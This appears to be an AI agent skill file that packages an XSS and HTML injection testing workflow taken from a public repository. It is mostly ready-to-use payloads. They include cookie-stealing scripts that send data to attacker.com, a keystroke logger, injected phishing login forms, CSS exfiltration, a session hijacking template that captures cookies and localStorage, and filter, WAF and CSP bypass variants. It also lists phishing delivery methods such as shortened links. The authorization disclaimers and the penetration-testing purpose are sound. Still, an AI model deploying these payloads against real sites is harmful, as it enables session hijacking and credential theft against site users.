Awesome-omni-skills xss-html-injection

Cross-Site Scripting and HTML Injection Testing workflow skill. Use this skill when the user needs Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.

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Cross-Site Scripting and HTML Injection Testing

Overview

This public intake copy packages

plugins/antigravity-awesome-skills-claude/skills/xss-html-injection
from
https://github.com/sickn33/antigravity-awesome-skills
into the native Omni Skills editorial shape without hiding its origin.

Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.

This intake keeps the copied upstream files intact and uses

metadata.json
plus
ORIGIN.md
as the provenance anchor for review.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # Cross-Site Scripting and HTML Injection Testing

Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Inputs / Prerequisites, Outputs / Deliverables.

When to Use This Skill

Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.

  • This skill is applicable to execute the workflow or actions described in the overview.
  • Use when the request clearly matches the imported source intent: Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and....
  • Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
  • Use when provenance needs to stay visible in the answer, PR, or review packet.
  • Use when copied upstream references, examples, or scripts materially improve the answer.
  • Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.

Operating Table

SituationStart hereWhy it matters
First-time use
metadata.json
Confirms repository, branch, commit, and imported path before touching the copied workflow
Provenance review
ORIGIN.md
Gives reviewers a plain-language audit trail for the imported source
Workflow execution
SKILL.md
Starts with the smallest copied file that materially changes execution
Supporting context
SKILL.md
Adds the next most relevant copied source file without loading the entire package
Handoff decision
## Related Skills
Helps the operator switch to a stronger native skill when the task drifts

Workflow

This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.

  1. Search boxes and query parameters
  2. User profile fields (name, bio, comments)
  3. URL fragments and hash values
  4. Error messages displaying user input
  5. Form fields with client-side validation only
  6. Hidden form fields and parameters
  7. HTTP headers (User-Agent, Referer)

Imported Workflow Notes

Imported: Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Locate areas where user input is reflected in responses:

# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)

Basic Detection Testing

Insert test strings to observe application behavior:

<!-- Basic reflection test -->
<test123>

<!-- Script tag test -->
<script>alert('XSS')</script>

<!-- Event handler test -->
<img src=x onerror=alert('XSS')>

<!-- SVG-based test -->
<svg onload=alert('XSS')>

<!-- Body event test -->
<body onload=alert('XSS')>

Monitor for:

  • Raw HTML reflection without encoding
  • Partial encoding (some characters escaped)
  • JavaScript execution in browser console
  • DOM modifications visible in inspector

Determine XSS Type

Stored XSS Indicators:

  • Input persists after page refresh
  • Other users see injected content
  • Content stored in database/filesystem

Reflected XSS Indicators:

  • Input appears only in current response
  • Requires victim to click crafted URL
  • No persistence across sessions

DOM-Based XSS Indicators:

  • Input processed by client-side JavaScript
  • Server response doesn't contain payload
  • Exploitation occurs entirely in browser

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Target areas with persistent user content:

- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences

Craft Persistent Payloads

<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>

<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>

<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>

<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Build URLs containing XSS payloads:

# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>

# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>

# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>

Delivery Methods

Techniques for delivering reflected XSS to victims:

1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains

Phase 4: DOM-Based XSS Exploitation

Identify Vulnerable Sinks

Locate JavaScript functions that process user input:

// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()

Identify Sources

Locate where user-controlled data enters the application:

// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage

DOM XSS Payloads

// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>

// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>

// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>

Phase 5: HTML Injection Techniques

Reflected HTML Injection

Modify page appearance without JavaScript:

<!-- Content injection -->
<h1>SITE HACKED</h1>

<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>

<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>

<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>

Stored HTML Injection

Persistent content manipulation:

<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>

<!-- Style override -->
<style>body{background:red !important;}</style>

<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>

Phase 6: Filter Bypass Techniques

Tag and Attribute Variations

<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>

<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">

Encoding Bypass

<!-- HTML entity encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- Hex encoding -->
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

<!-- Unicode encoding -->
<script>\u0061lert(1)</script>

<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>

JavaScript Obfuscation

// String concatenation
<script>eval('al'+'ert(1)')</script>

// Template literals
<script>alert`1`</script>

// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>

// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>

// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>

Whitespace and Comment Bypass

<!-- Tab/newline insertion -->
<img src=x	onerror
=alert(1)>

<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>

<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->

Imported: Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Examples

Example 1: Ask for the upstream workflow directly

Use @xss-html-injection to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.

Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.

Example 2: Ask for a provenance-grounded review

Review @xss-html-injection against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.

Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.

Example 3: Narrow the copied support files before execution

Use @xss-html-injection for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.

Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.

Example 4: Build a reviewer packet

Review @xss-html-injection using the copied upstream files plus provenance, then summarize any gaps before merge.

Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.

Imported Usage Notes

Imported: Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: Every user viewing the comment has their session cookie sent to attacker's server.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Delivery: URL sent via phishing email to target user.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

Attack URL:

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Result: CSP bypassed using allowed script source.

Best Practices

Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.

  • Never inject payloads that could damage production systems
  • Limit cookie/session capture to demonstration purposes only
  • Avoid payloads that could spread to unintended users (worm behavior)
  • Do not exfiltrate real user data beyond scope requirements
  • Content Security Policy (CSP) may block inline scripts
  • HttpOnly cookies prevent JavaScript access
  • SameSite cookie attributes limit cross-origin attacks

Imported Operating Notes

Imported: Constraints and Guardrails

Operational Boundaries

  • Never inject payloads that could damage production systems
  • Limit cookie/session capture to demonstration purposes only
  • Avoid payloads that could spread to unintended users (worm behavior)
  • Do not exfiltrate real user data beyond scope requirements

Technical Limitations

  • Content Security Policy (CSP) may block inline scripts
  • HttpOnly cookies prevent JavaScript access
  • SameSite cookie attributes limit cross-origin attacks
  • Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

  • Written authorization required before testing
  • Report critical XSS vulnerabilities immediately
  • Handle captured credentials per data protection agreements
  • Do not use discovered vulnerabilities for unauthorized access

Troubleshooting

Problem: The operator skipped the imported context and answered too generically

Symptoms: The result ignores the upstream workflow in

plugins/antigravity-awesome-skills-claude/skills/xss-html-injection
, fails to mention provenance, or does not use any copied source files at all. Solution: Re-open
metadata.json
,
ORIGIN.md
, and the most relevant copied upstream files. Load only the files that materially change the answer, then restate the provenance before continuing.

Problem: The imported workflow feels incomplete during review

Symptoms: Reviewers can see the generated

SKILL.md
, but they cannot quickly tell which references, examples, or scripts matter for the current task. Solution: Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.

Problem: The task drifted into a different specialization

Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better. Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.

Imported Troubleshooting Notes

Imported: Troubleshooting

IssueSolutions
Script not executingCheck CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled
Payload appears but doesn't executeBreak out of attribute context with
"
or
'
; check if inside comment; test different contexts
Cookies not accessibleCheck HttpOnly flag; try localStorage/sessionStorage; use no-cors mode
CSP blocking payloadsFind JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass
WAF blocking requestsUse encoding variations; fragment payload; null bytes; case variations

Related Skills

  • @00-andruia-consultant-v2
    - Use when the work is better handled by that native specialization after this imported skill establishes context.
  • @10-andruia-skill-smith-v2
    - Use when the work is better handled by that native specialization after this imported skill establishes context.
  • @20-andruia-niche-intelligence-v2
    - Use when the work is better handled by that native specialization after this imported skill establishes context.
  • @3d-web-experience-v2
    - Use when the work is better handled by that native specialization after this imported skill establishes context.

Additional Resources

Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.

Resource familyWhat it gives the reviewerExample path
references
copied reference notes, guides, or background material from upstream
references/n/a
examples
worked examples or reusable prompts copied from upstream
examples/n/a
scripts
upstream helper scripts that change execution or validation
scripts/n/a
agents
routing or delegation notes that are genuinely part of the imported package
agents/n/a
assets
supporting assets or schemas copied from the source package
assets/n/a

Imported Reference Notes

Imported: Quick Reference

XSS Detection Checklist

1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential

Common XSS Payloads

ContextPayload
HTML body
<script>alert(1)</script>
HTML attribute
"><script>alert(1)</script>
JavaScript string
';alert(1)//
JavaScript template
${alert(1)}
URL attribute
javascript:alert(1)
CSS context
</style><script>alert(1)</script>
SVG context
<svg onload=alert(1)>

Cookie Theft Payload

<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>

Session Hijacking Template

<script>
fetch('https://attacker.com/log',{
  method:'POST',
  mode:'no-cors',
  body:JSON.stringify({
    cookies:document.cookie,
    localStorage:JSON.stringify(localStorage),
    url:location.href
  })
});
</script>

Imported: Inputs / Prerequisites

Required Access

  • Target web application URL with user input fields
  • Burp Suite or browser developer tools for request analysis
  • Access to create test accounts for stored XSS testing
  • Browser with JavaScript console enabled

Technical Requirements

  • Understanding of JavaScript execution in browser context
  • Knowledge of HTML DOM structure and manipulation
  • Familiarity with HTTP request/response headers
  • Understanding of cookie attributes and session management

Legal Prerequisites

  • Written authorization for security testing
  • Defined scope including target domains and features
  • Agreement on handling of any captured session data
  • Incident response procedures established

Imported: Outputs / Deliverables

  • XSS/HTMLi vulnerability report with severity classifications
  • Proof-of-concept payloads demonstrating impact
  • Session hijacking demonstrations (controlled environment)
  • Remediation recommendations with CSP configurations